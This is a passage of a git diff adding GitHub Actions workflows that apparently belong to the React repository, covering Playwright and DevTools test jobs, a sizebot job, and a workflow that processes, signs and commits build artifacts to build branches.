+        uses: actions/cache@v4 # note: this does not reuse centralized cache since it has unique cache key
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: fixtures_flight-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'fixtures/flight/yarn.lock') }}
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: yarn --cwd fixtures/flight install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - name: Check Playwright version
+        id: playwright_version
+        run: echo "playwright_version=$(npm ls @playwright/test | grep @playwright | sed 's/.*@//' | head -1)" >> "$GITHUB_OUTPUT"
+      - name: Cache Playwright Browsers for version ${{ steps.playwright_version.outputs.playwright_version }}
+        id: cache_playwright_browsers
+        uses: actions/cache@v4
+        with:
+          path: ~/.cache/ms-playwright
+          key: playwright-browsers-v6-${{ runner.arch }}-${{ runner.os }}-${{ steps.playwright_version.outputs.playwright_version }}
+      - name: Playwright install deps
+        if: steps.cache_playwright_browsers.outputs.cache-hit != 'true'
+        working-directory: fixtures/flight
+        run: npx playwright install --with-deps chromium
+      - name: Restore archived build
+        uses: actions/download-artifact@v4
+        with:
+          pattern: _build_*
+          path: build
+          merge-multiple: true
+      - name: Display structure of build
+        run: ls -R build
+      - name: Run tests
+        working-directory: fixtures/flight
+        run: yarn test
+        env:
+          # Otherwise the webserver is a blackbox
+          DEBUG: pw:webserver
+      - name: Archive Flight fixture artifacts
+        uses: actions/upload-artifact@v4
+        with:
+          name: flight-playwright-report
+          path: fixtures/flight/playwright-report
+          if-no-files-found: warn
+      - name: Archive Flight fixture artifacts
+        uses: actions/upload-artifact@v4
+        with:
+          name: flight-test-results
+          path: fixtures/flight/test-results
+          if-no-files-found: ignore
+
+  # ----- DEVTOOLS -----
+  build_devtools_and_process_artifacts:
+    name: Build DevTools and process artifacts
+    needs: [build_and_lint, runtime_node_modules_cache]
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        browser: [chrome, firefox, edge]
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache/restore@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
+          # Don't use restore-keys here. Otherwise the cache grows indefinitely.
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - name: Restore archived build
+        uses: actions/download-artifact@v4
+        with:
+          pattern: _build_*
+          path: build
+          merge-multiple: true
+      - run: ./scripts/ci/pack_and_store_devtools_artifacts.sh ${{ matrix.browser }}
+        env:
+          RELEASE_CHANNEL: experimental
+      - name: Display structure of build
+        run: ls -R build
+      # Simplifies getting the extension for local testing
+      - name: Archive ${{ matrix.browser }} extension
+        uses: actions/upload-artifact@v4
+        with:
+          name: react-devtools-${{ matrix.browser }}-extension
+          path: build/devtools/${{ matrix.browser }}-extension.zip
+          if-no-files-found: error
+      - name: Archive ${{ matrix.browser }} metadata
+        uses: actions/upload-artifact@v4
+        with:
+          name: react-devtools-${{ matrix.browser }}-metadata
+          path: build/devtools/webpack-stats.*.json
+
+  merge_devtools_artifacts:
+    name: Merge DevTools artifacts
+    needs: build_devtools_and_process_artifacts
+    runs-on: ubuntu-latest
+    steps:
+      - name: Merge artifacts
+        uses: actions/upload-artifact/merge@v4
+        with:
+          name: react-devtools
+          pattern: react-devtools-*
+
+  run_devtools_e2e_tests:
+    name: Run DevTools e2e tests
+    needs: [build_and_lint, runtime_node_modules_cache]
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache/restore@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-node_modules-v7-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock') }}
+          # Don't use restore-keys here. Otherwise the cache grows indefinitely.
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - name: Restore archived build
+        uses: actions/download-artifact@v4
+        with:
+          pattern: _build_*
+          path: build
+          merge-multiple: true
+      - name: Check Playwright version
+        id: playwright_version
+        run: echo "playwright_version=$(npm ls @playwright/test | grep @playwright | sed 's/.*@//' | head -1)" >> "$GITHUB_OUTPUT"
+      - name: Cache Playwright Browsers for version ${{ steps.playwright_version.outputs.playwright_version }}
+        id: cache_playwright_browsers
+        uses: actions/cache@v4
+        with:
+          path: ~/.cache/ms-playwright
+          key: playwright-browsers-v6-${{ runner.arch }}-${{ runner.os }}-${{ steps.playwright_version.outputs.playwright_version }}
+      - name: Playwright install deps
+        if: steps.cache_playwright_browsers.outputs.cache-hit != 'true'
+        run: npx playwright install --with-deps chromium
+      - run: ./scripts/ci/run_devtools_e2e_tests.js
+        env:
+          RELEASE_CHANNEL: experimental
+      - name: Archive Playwright report
+        uses: actions/upload-artifact@v4
+        with:
+          name: devtools-playwright-artifacts
+          path: tmp/playwright-artifacts
+          if-no-files-found: warn
+
+  # ----- SIZEBOT -----
+  sizebot:
+    if: ${{ github.event_name == 'pull_request' && github.ref_name != 'main' && github.event.pull_request.base.ref == 'main' }}
+    name: Run sizebot
+    needs: [build_and_lint]
+    permissions:
+      # We use github.token to download the build artifact from a previous runtime_build_and_test.yml run
+      actions: read
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }}
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+          cache: yarn
+          cache-dependency-path: yarn.lock
+      - name: Restore cached node_modules
+        uses: actions/cache@v4 # note: this does not reuse centralized cache since it has unique cache key
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-release-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'scripts/release/yarn.lock') }}
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: yarn --cwd scripts/release install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - name: Download artifacts for base revision
+        # The build could have been generated from a fork, so we must download the build without
+        # any verification. This is safe since we only use this for sizebot calculation and the
+        # unverified artifact is not used. Additionally this workflow runs in the pull_request
+        # trigger so only restricted permissions are available.
+        run: |
+          GH_TOKEN=${{ github.token }} scripts/release/download-experimental-build.js --commit=$(git rev-parse ${{ github.event.pull_request.base.sha }}) ${{ (github.event.pull_request.head.repo.full_name != github.repository && '--noVerify') || ''}}
+          mv ./build ./base-build
+      - name: Delete extraneous files
+        # TODO: The `download-experimental-build` script copies the npm
+        # packages into the `node_modules` directory. This is a historical
+        # quirk of how the release script works. Let's pretend they
+        # don't exist.
+        run: rm -rf ./base-build/node_modules
+      - name: Display structure of base-build from origin/main
+        run: ls -R base-build
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - name: Restore archived build for PR
+        uses: actions/download-artifact@v4
+        with:
+          pattern: _build_*
+          path: build
+          merge-multiple: true
+      - name: Scrape warning messages
+        run: |
+          mkdir -p ./build/__test_utils__
+          node ./scripts/print-warnings/print-warnings.js > build/__test_utils__/ReactAllWarnings.js
+      - name: Display structure of build for PR
+        run: ls -R build
+      - run: echo ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }} >> build/COMMIT_SHA
+      - run: node ./scripts/tasks/danger
+      - name: Archive sizebot results
+        uses: actions/upload-artifact@v4
+        with:
+          name: sizebot-message
+          path: sizebot-message.md
+          if-no-files-found: ignore
diff --git a/.github/workflows/runtime_commit_artifacts.yml b/.github/workflows/runtime_commit_artifacts.yml
new file mode 100644
index 000000000000..11a22e6c2a4c
--- /dev/null
+++ b/.github/workflows/runtime_commit_artifacts.yml
@@ -0,0 +1,476 @@
+name: (Runtime) Commit Artifacts for Meta WWW and fbsource V2
+
+on:
+  workflow_run:
+    workflows: ["(Runtime) Build and Test"]
+    types: [completed]
+    branches:
+      - main
+  workflow_dispatch:
+    inputs:
+      commit_sha:
+        required: false
+        type: string
+      force:
+        description: 'Force a commit to the builds/... branches'
+        required: true
+        default: false
+        type: boolean
+      dry_run:
+        description: Perform a dry run (run everything except push)
+        required: true
+        default: false
+        type: boolean
+
+permissions: {}
+
+env:
+  TZ: /usr/share/zoneinfo/America/Los_Angeles
+  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout
+  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1
+
+jobs:
+  download_artifacts:
+    runs-on: ubuntu-latest
+    permissions:
+      # We use github.token to download the build artifact from a previous runtime_build_and_test.yml run
+      actions: read
+    steps:
+      - uses: actions/checkout@v4
+      - name: Restore cached node_modules
+        uses: actions/cache@v4
+        id: node_modules
+        with:
+          path: |
+            **/node_modules
+          key: runtime-release-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'scripts/release/yarn.lock') }}
+      - name: Ensure clean build directory
+        run: rm -rf build
+      - run: yarn install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - run: yarn --cwd scripts/release install --frozen-lockfile
+        if: steps.node_modules.outputs.cache-hit != 'true'
+      - name: Download artifacts for base revision
+        run: |
+          GH_TOKEN=${{ github.token }} scripts/release/download-experimental-build.js --commit=${{ inputs.commit_sha || github.event.workflow_run.head_sha || github.sha }}
+      - name: Display structure of build
+        run: ls -R build
+      - name: Archive build
+        uses: actions/upload-artifact@v4
+        with:
+          name: build
+          path: build/
+          if-no-files-found: error
+
+
+  process_artifacts:
+    runs-on: ubuntu-latest
+    needs: [download_artifacts]
+    outputs:
+      www_branch_count: ${{ steps.check_branches.outputs.www_branch_count }}
+      fbsource_branch_count: ${{ steps.check_branches.outputs.fbsource_branch_count }}
+      last_version_classic: ${{ steps.get_last_version_www.outputs.last_version_classic }}
+      last_version_modern: ${{ steps.get_last_version_www.outputs.last_version_modern }}
+      last_version_rn: ${{ steps.get_last_version_rn.outputs.last_version_rn }}
+      current_version_classic: ${{ steps.get_current_version.outputs.current_version_classic }}
+      current_version_modern: ${{ steps.get_current_version.outputs.current_version_modern }}
+      current_version_rn: ${{ steps.get_current_version.outputs.current_version_rn }}
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: builds/facebook-www
+      - name: "Get last version string for www"
+        id: get_last_version_www
+        run: |
+          # Empty checks only needed for backwards compatibility,can remove later.
+          VERSION_CLASSIC=$( [ -f ./compiled/facebook-www/VERSION_CLASSIC ] && cat ./compiled/facebook-www/VERSION_CLASSIC || echo '' )
+          VERSION_MODERN=$( [ -f ./compiled/facebook-www/VERSION_MODERN ] && cat ./compiled/facebook-www/VERSION_MODERN || echo '' )
+          echo "Last classic version is $VERSION_CLASSIC"
+          echo "Last modern version is $VERSION_MODERN"
+          echo "last_version_classic=$VERSION_CLASSIC" >> "$GITHUB_OUTPUT"
+          echo "last_version_modern=$VERSION_MODERN" >> "$GITHUB_OUTPUT"
+      - uses: actions/checkout@v4
+        with:
+          ref: builds/facebook-fbsource
+      - name: "Get last version string for rn"
+        id: get_last_version_rn
+        run: |
+          # Empty checks only needed for backwards compatibility,can remove later.
+          VERSION_NATIVE_FB=$( [ -f ./compiled-rn/VERSION_NATIVE_FB ] && cat ./compiled-rn/VERSION_NATIVE_FB || echo '' )
+          echo "Last rn version is $VERSION_NATIVE_FB"
+          echo "last_version_rn=$VERSION_NATIVE_FB" >> "$GITHUB_OUTPUT"
+      - uses: actions/checkout@v4
+      - name: "Check branches"
+        id: check_branches
+        run: |
+          echo "www_branch_count=$(git ls-remote --heads origin "refs/heads/meta-www" | wc -l)" >> "$GITHUB_OUTPUT"
+          echo "fbsource_branch_count=$(git ls-remote --heads origin "refs/heads/meta-fbsource" | wc -l)" >> "$GITHUB_OUTPUT"
+      - name: Restore downloaded build
+        uses: actions/download-artifact@v4
+        with:
+          name: build
+          path: build
+      - name: Display structure of build
+        run: ls -R build
+      - name: Strip @license from eslint plugin and react-refresh
+        run: |
+          sed -i -e 's/ @license React*//' \
+            build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
+            build/facebook-www/ESLintPluginReactHooks-dev.modern.js \
+            build/oss-experimental/react-refresh/cjs/react-refresh-babel.development.js
+      - name: Insert @headers into eslint plugin and react-refresh
+        run: |
+          sed -i -e 's/ LICENSE file in the root directory of this source tree./ LICENSE file in the root directory of this source tree.\n *\n * @noformat\n * @nolint\n * @lightSyntaxTransform\n * @preventMunge\n * @oncall react_core/' \
+            build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
+            build/facebook-www/ESLintPluginReactHooks-dev.modern.js \
+            build/oss-experimental/react-refresh/cjs/react-refresh-babel.development.js
+      - name: Move relevant files for React in www into compiled
+        run: |
+          # Move the facebook-www folder into compiled
+          mkdir ./compiled
+          mv build/facebook-www ./compiled
+
+          # Move ReactAllWarnings.js to facebook-www
+          mkdir ./compiled/facebook-www/__test_utils__
+          mv build/__test_utils__/ReactAllWarnings.js ./compiled/facebook-www/__test_utils__/ReactAllWarnings.js
+
+          # Copy eslint-plugin-react-hooks (www build with feature flags)
+          mkdir ./compiled/eslint-plugin-react-hooks
+          cp ./compiled/facebook-www/ESLintPluginReactHooks-dev.modern.js \
+            ./compiled/eslint-plugin-react-hooks/index.js
+
+          # Move unstable_server-external-runtime.js into facebook-www
+          mv build/oss-experimental/react-dom/unstable_server-external-runtime.js \
+            ./compiled/facebook-www/unstable_server-external-runtime.js
+
+          # Move react-refresh-babel.development.js into babel-plugin-react-refresh
+          mkdir ./compiled/babel-plugin-react-refresh
+          mv build/oss-experimental/react-refresh/cjs/react-refresh-babel.development.js \
+            ./compiled/babel-plugin-react-refresh/index.js
+
+          ls -R ./compiled
+      - name: Move relevant files for React in fbsource into compiled-rn
+        run: |
+          BASE_FOLDER='compiled-rn/facebook-fbsource/xplat/js'
+          mkdir -p ${BASE_FOLDER}/react-native-github/Libraries/Renderer/
+          mkdir -p ${BASE_FOLDER}/RKJSModules/vendor/react/{scheduler,react,react-dom,react-is,react-test-renderer}/
+
+          # Move React Native renderer
+          mv build/react-native/implementations/ $BASE_FOLDER/react-native-github/Libraries/Renderer/
+          mv build/react-native/shims/ $BASE_FOLDER/react-native-github/Libraries/Renderer/
+          mv build/facebook-react-native/scheduler/cjs/ $BASE_FOLDER/RKJSModules/vendor/react/scheduler/
+          mv build/facebook-react-native/react/cjs/ $BASE_FOLDER/RKJSModules/vendor/react/react/
+          mv build/facebook-react-native/react-dom/cjs/ $BASE_FOLDER/RKJSModules/vendor/react/react-dom/
+          mv build/facebook-react-native/react-is/cjs/ $BASE_FOLDER/RKJSModules/vendor/react/react-is/
+          mv build/facebook-react-native/react-test-renderer/cjs/ $BASE_FOLDER/RKJSModules/vendor/react/react-test-renderer/
+
+          # Delete the OSS renderers, these are sync'd to RN separately.
+          RENDERER_FOLDER=$BASE_FOLDER/react-native-github/Libraries/Renderer/implementations/
+          rm $RENDERER_FOLDER/ReactFabric-{dev,prod,profiling}.js
+          
+          # Delete the legacy renderer shim, this is not sync'd and will get deleted in the future.
+          SHIM_FOLDER=$BASE_FOLDER/react-native-github/Libraries/Renderer/shims/
+          rm $SHIM_FOLDER/ReactNative.js
+
+          # Copy eslint-plugin-react-hooks
+          # NOTE: This is different from www, here we include the full package
+          #       including package.json to include dependencies in fbsource.
+          mkdir "$BASE_FOLDER/tools"
+          cp -r build/oss-experimental/eslint-plugin-react-hooks "$BASE_FOLDER/tools"
+
+          # Move React Native version file
+          mv build/facebook-react-native/VERSION_NATIVE_FB ./compiled-rn/VERSION_NATIVE_FB
+
+          ls -R ./compiled-rn
+      - name: Add REVISION files
+        run: |
+          echo ${{ inputs.commit_sha || github.event.workflow_run.head_sha || github.sha }} >> ./compiled/facebook-www/REVISION
+          cp ./compiled/facebook-www/REVISION ./compiled/facebook-www/REVISION_TRANSFORMS
+          echo ${{ inputs.commit_sha || github.event.workflow_run.head_sha || github.sha }} >> ./compiled-rn/facebook-fbsource/xplat/js/react-native-github/Libraries/Renderer/REVISION
+      - name: "Get current version string"
+        id: get_current_version
+        run: |
+          VERSION_CLASSIC=$(cat ./compiled/facebook-www/VERSION_CLASSIC)
+          VERSION_MODERN=$(cat ./compiled/facebook-www/VERSION_MODERN)
+          VERSION_NATIVE_FB=$(cat ./compiled-rn/VERSION_NATIVE_FB)
+          echo "Current classic version is $VERSION_CLASSIC"
+          echo "Current modern version is $VERSION_MODERN"
+          echo "Current rn version is $VERSION_NATIVE_FB"
+          echo "current_version_classic=$VERSION_CLASSIC" >> "$GITHUB_OUTPUT"
+          echo "current_version_modern=$VERSION_MODERN" >> "$GITHUB_OUTPUT"
+          echo "current_version_rn=$VERSION_NATIVE_FB" >> "$GITHUB_OUTPUT"
+      - uses: actions/upload-artifact@v4
+        with:
+          name: compiled
+          path: compiled/
+          if-no-files-found: error
+      - uses: actions/upload-artifact@v4
+        with:
+          name: compiled-rn
+          path: compiled-rn/
+          if-no-files-found: error
+
+  commit_www_artifacts:
+    needs: [download_artifacts, process_artifacts]
+    if: inputs.force == true || (github.ref == 'refs/heads/main' && needs.process_artifacts.outputs.www_branch_count == '0')
+    runs-on: ubuntu-latest
+    permissions:
+      # Used to push a commit to builds/facebook-www
+      contents: write
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: builds/facebook-www
+      - name: Ensure clean directory
+        run: rm -rf compiled
+      - uses: actions/download-artifact@v4
+        with:
+          name: compiled
+          path: compiled/
+      - name: Revert version changes
+        if: needs.process_artifacts.outputs.last_version_classic != '' && needs.process_artifacts.outputs.last_version_modern != ''
+        env:
+          CURRENT_VERSION_CLASSIC: ${{ needs.process_artifacts.outputs.current_version_classic }}
+          CURRENT_VERSION_MODERN: ${{ needs.process_artifacts.outputs.current_version_modern }}
+          LAST_VERSION_CLASSIC: ${{ needs.process_artifacts.outputs.last_version_classic }}
+          LAST_VERSION_MODERN: ${{ needs.process_artifacts.outputs.last_version_modern }}
+        run: |
+          echo "Reverting $CURRENT_VERSION_CLASSIC to $LAST_VERSION_CLASSIC"
+          grep -rl "$CURRENT_VERSION_CLASSIC" ./compiled || echo "No files found with $CURRENT_VERSION_CLASSIC"
+          grep -rl "$CURRENT_VERSION_CLASSIC" ./compiled | xargs -r sed -i -e "s/$CURRENT_VERSION_CLASSIC/$LAST_VERSION_CLASSIC/g"
+          grep -rl "$CURRENT_VERSION_CLASSIC" ./compiled || echo "Classic version reverted"
+          echo "===================="
+          echo "Reverting $CURRENT_VERSION_MODERN to $LAST_VERSION_MODERN"
+          grep -rl "$CURRENT_VERSION_MODERN" ./compiled || echo "No files found with $CURRENT_VERSION_MODERN"
+          grep -rl "$CURRENT_VERSION_MODERN" ./compiled | xargs -r sed -i -e "s/$CURRENT_VERSION_MODERN/$LAST_VERSION_MODERN/g"
+          grep -rl "$CURRENT_VERSION_MODERN" ./compiled || echo "Modern version reverted"
+      - name: Check for changes
+        if: inputs.force != true
+        id: check_should_commit
+        run: |
+          echo "Full git status"
+          git add .
+          git status
+          echo "===================="
+          if git status --porcelain | grep -qv '/REVISION'; then
+            echo "Changes detected"
+            echo "===== Changes ====="
+            git --no-pager diff -U0 | grep '^[+-]' | head -n 50
+            echo "==================="
+            echo "should_commit=true" >> "$GITHUB_OUTPUT"
+          else
+            echo "No Changes detected"
+            echo "should_commit=false" >> "$GITHUB_OUTPUT"
+          fi
+      - name: Re-apply version changes
+        if: inputs.force == true || (steps.check_should_commit.outputs.should_commit == 'true' && needs.process_artifacts.outputs.last_version_classic != '' && needs.process_artifacts.outputs.last_version_modern != '')
+        env:
+          CURRENT_VERSION_CLASSIC: ${{ needs.process_artifacts.outputs.current_version_classic }}
+          CURRENT_VERSION_MODERN: ${{ needs.process_artifacts.outputs.current_version_modern }}
+          LAST_VERSION_CLASSIC: ${{ needs.process_artifacts.outputs.last_version_classic }}
+          LAST_VERSION_MODERN: ${{ needs.process_artifacts.outputs.last_version_modern }}
+        run: |
+          echo "Re-applying $LAST_VERSION_CLASSIC to $CURRENT_VERSION_CLASSIC"
+          grep -rl "$LAST_VERSION_CLASSIC" ./compiled || echo "No files found with $LAST_VERSION_CLASSIC"
+          grep -rl "$LAST_VERSION_CLASSIC" ./compiled | xargs -r sed -i -e "s/$LAST_VERSION_CLASSIC/$CURRENT_VERSION_CLASSIC/g"
+          grep -rl "$LAST_VERSION_CLASSIC" ./compiled || echo "Classic version re-applied"
+          echo "===================="
+          echo "Re-applying $LAST_VERSION_MODERN to $CURRENT_VERSION_MODERN"
+          grep -rl "$LAST_VERSION_MODERN" ./compiled || echo "No files found with $LAST_VERSION_MODERN"
+          grep -rl "$LAST_VERSION_MODERN" ./compiled | xargs -r sed -i -e "s/$LAST_VERSION_MODERN/$CURRENT_VERSION_MODERN/g"
+          grep -rl "$LAST_VERSION_MODERN" ./compiled || echo "Classic version re-applied"
+      - name: Will commit these changes
+        if: inputs.force == true || steps.check_should_commit.outputs.should_commit == 'true'
+        run: |
+          git add .
+          git status
+      - name: Check commit message
+        if: inputs.dry_run
+        run: |
+          git fetch origin --quiet
+          git show ${{ inputs.commit_sha || github.event.workflow_run.head_sha || github.sha }} --no-patch --pretty=format:"%B"
+      - name: Commit changes to branch
+        if: inputs.force == true || steps.check_should_commit.outputs.should_commit == 'true'
+        run: |
+          git config --global user.email "${{ format('{0}@users.noreply.github.com', github.triggering_actor) }}"
+          git config --global user.name "${{ github.triggering_actor }}"
+
+          git fetch origin --quiet
+          git commit -m "$(git show ${{ inputs.commit_sha || github.event.workflow_run.head_sha || github.sha }} --no-patch --pretty=format:'%B%n%nDiffTrain build for [${{ inputs.commit_sha || github.event.workflow_run.head_sha || github.sha }}](https://github.com/facebook/react/commit/${{ inputs.commit_sha || github.event.workflow_run.head_sha || github.sha}})')" || echo "No changes to commit"
+      - name: Push changes to branch
+        if: inputs.dry_run == false && (inputs.force == true || steps.check_should_commit.outputs.should_commit == 'true')
+        run: git push
+
+  commit_fbsource_artifacts:
+    needs: [download_artifacts, process_artifacts]
+    permissions:
+      # Used to push a commit to builds/facebook-fbsource
+      contents: write
+    if: inputs.force == true || (github.ref == 'refs/heads/main' && needs.process_artifacts.outputs.fbsource_branch_count == '0')
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: builds/facebook-fbsource
+      - name: Ensure clean directory
+        run: rm -rf compiled-rn
+      - uses: actions/download-artifact@v4
+        with:
+          name: compiled-rn
+          path: compiled-rn/
+      - name: Revert version changes
+        if: needs.process_artifacts.outputs.last_version_rn != ''
+        env:
+          CURRENT_VERSION: ${{ needs.process_artifacts.outputs.current_version_rn }}
+          LAST_VERSION: ${{ needs.process_artifacts.outputs.last_version_rn }}
+        run: |
+          echo "Reverting $CURRENT_VERSION to $LAST_VERSION"
+          grep -rl "$CURRENT_VERSION" ./compiled-rn || echo "No files found with $CURRENT_VERSION"
+          grep -rl "$CURRENT_VERSION" ./compiled-rn | xargs -r sed -i -e "s/$CURRENT_VERSION/$LAST_VERSION/g"
+          grep -rl "$CURRENT_VERSION" ./compiled-rn || echo "Version reverted"
+      - name: Check for changes
+        if: inputs.force != 'true'
+        id: check_should_commit
+        run: |
+          echo "Full git status"
+          git add .
+          git --no-pager diff -U0 --cached | grep '^[+-]' | head -n 100
+          echo "===================="
+          # Ignore REVISION or lines removing @generated headers.
+          if git diff --cached ':(exclude)*REVISION' ':(exclude)*/eslint-plugin-react-hooks/package.json' | grep -vE "^(@@|diff|index|\-\-\-|\+\+\+|\- \* @generated SignedSource)" | grep "^[+-]" > /dev/null; then
+            echo "Changes detected"
+            echo "===== Changes ====="
+            git --no-pager diff --cached ':(exclude)*REVISION' ':(exclude)*/eslint-plugin-react-hooks/package.json' | grep -vE "^(@@|diff|index|\-\-\-|\+\+\+|\- \* @generated SignedSource)" | grep "^[+-]" | head -n 50
+            echo "==================="
+            echo "should_commit=true" >> "$GITHUB_OUTPUT"
+          else
+            echo "No Changes detected"
+            echo "should_commit=false" >> "$GITHUB_OUTPUT"
+          fi
+      - name: Re-apply version changes
+        if: inputs.force == true || (steps.check_should_commit.outputs.should_commit == 'true' && needs.process_artifacts.outputs.last_version_rn != '')
+        env:
+          CURRENT_VERSION: ${{ needs.process_artifacts.outputs.current_version_rn }}
+          LAST_VERSION: ${{ needs.process_artifacts.outputs.last_version_rn }}
+        run: |
+          echo "Re-applying $LAST_VERSION to $CURRENT_VERSION"
+          grep -rl "$LAST_VERSION" ./compiled-rn || echo "No files found with $LAST_VERSION"
+          grep -rl "$LAST_VERSION" ./compiled-rn | xargs -r sed -i -e "s/$LAST_VERSION/$CURRENT_VERSION/g"
+          grep -rl "$LAST_VERSION" ./compiled-rn || echo "Version re-applied"
+      - name: Add files for signing
+        if: inputs.force == true || steps.check_should_commit.outputs.should_commit == 'true'
+        run: |
+          echo ":"
+          git add .
+      - name: Signing files
+        if: inputs.force == true || steps.check_should_commit.outputs.should_commit == 'true'
+        uses: actions/github-script@v7
+        with:
+          script: |
+            // TODO: Move this to a script file.
+            // We currently can't call scripts from the repo because
+            // at this point in the workflow, we're on the compiled
+            // artifact branch (so the scripts don't exist).
+            // We can fix this with a composite action in the main repo.
+            // This script is duplicated above.
+            const fs = require('fs');
+            const crypto = require('crypto');
+            const {execSync} = require('child_process');
+
+            // TODO: when we move this to a script, we can use this from npm.
+            // Copy of signedsource since we can't install deps on this branch.
+            const GENERATED = '@' + 'generated';
+            const NEWTOKEN = '<<SignedSource::*O*zOeWoEQle#+L!plEphiEmie@IsG>>';
+            const PATTERN = new RegExp(`${GENERATED} (?:SignedSource<<([a-f0-9]{32})>>)`);
+
+            const TokenNotFoundError = new Error(
+              `SignedSource.signFile(...): Cannot sign file without token: ${NEWTOKEN}`
+            );
+
+            function hash(data, encoding) {
+              const md5sum = crypto.createHash('md5');
+              md5sum.update(data, encoding);
+              return md5sum.digest('hex');
+            }
+
+            const SignedSource = {
+              getSigningToken() {
+                return `${GENERATED} ${NEWTOKEN}`;
+              },
+              isSigned(data) {
+                return PATTERN.exec(data) != null;
+              },
+              signFile(data) {
+                if (!data.includes(NEWTOKEN)) {
+                  if (SignedSource.isSigned(data)) {
+                    // Signing a file that was previously signed.
+                   data = data.replace(PATTERN, SignedSource.getSigningToken());
+                  } else {
+                    throw TokenNotFoundError;
+                  }
+                }
+                return data.replace(NEWTOKEN, `SignedSource<<${hash(data, 'utf8')}>>`);
+              },
+            };
+
+            const directory = './compiled-rn';
+            console.log('Signing files in directory:', directory);
+            try {
+              const result = execSync(`git status --porcelain ${directory}`, {encoding: 'utf8'});
+              console.log(result);
+
+              // Parse the git status output to get file paths!
+              const files = result.split('\n').filter(file => file.endsWith('.js'));
+
+              if (files.length === 0) {
+                throw new Error(
+                  'git status returned no files to sign. this job should not have run.'
+                );
+              } else {
+                files.forEach(line => {
+                  let file = null;
+                  if (line.startsWith('D ')) {
+                    return;
+                  } else if (line.startsWith('R ')) {
+                    file = line.slice(line.indexOf('->') + 3);
+                  } else {
+                    file = line.slice(3).trim();
+                  }
+                  if (file) {
+                    console.log('  Signing file:', file);
+                    const originalContents = fs.readFileSync(file, 'utf8');
+                    const signedContents = SignedSource.signFile(
+                      originalContents
+                        // Need to add the header in, since it's not inserted at build time.
+                        .replace(' */\n', ` * ${SignedSource.getSigningToken()}\n */\n`)
+                    );
+
+                    fs.writeFileSync(file, signedContents, 'utf8');
+                  }
+                });
+              }
+            } catch (e) {
+              process.exitCode = 1;
+              console.error('Error signing files:', e);
+            }
+      - name: Will commit these changes
+        if: inputs.force == true || steps.check_should_commit.outputs.should_commit == 'true'
+        run: |
+          git add .
+          git status
+      - name: Check commit message
+        if: inputs.dry_run
+        run: |
+          git fetch origin --quiet
+          git show ${{ inputs.commit_sha || github.event.workflow_run.head_sha || github.sha }} --no-patch --pretty=format:"%B"
+      - name: Commit changes to branch
+        if: inputs.force == true || steps.check_should_commit.outputs.should_commit == 'true'
+        run: |
+          git config --global user.email "${{ format('{0}@users.noreply.github.com', github.triggering_actor) }}"
+          git config --global user.name "${{ github.triggering_actor }}"
+
+          git fetch origin --quiet
+          git commit -m "$(git show ${{ inputs.commit_sha || github.event.workflow_run.head_sha || github.sha }} --no-patch --pretty=format:'%B%n%nDiffTrain build for [${{ inputs.commit_sha || github.event.workflow_run.head_sha || github.sha }}](https://github.com/facebook/react/commit/${{ inputs.commit_sha || github.event.workflow_run.head_sha || github.sha}})')" || echo "No changes to commit"
+      - name: Push changes to branch
+        if: inputs.dry_run == false && (inputs.force == true || steps.check_should_commit.outputs.should_commit == 'true')
+        run: git push
diff --git a/.github/workflows/runtime_discord_notify.yml b/.github/workflows/runtime_discord_notify.yml
new file mode 100644
index 000000000000..ae9930adf114
--- /dev/null
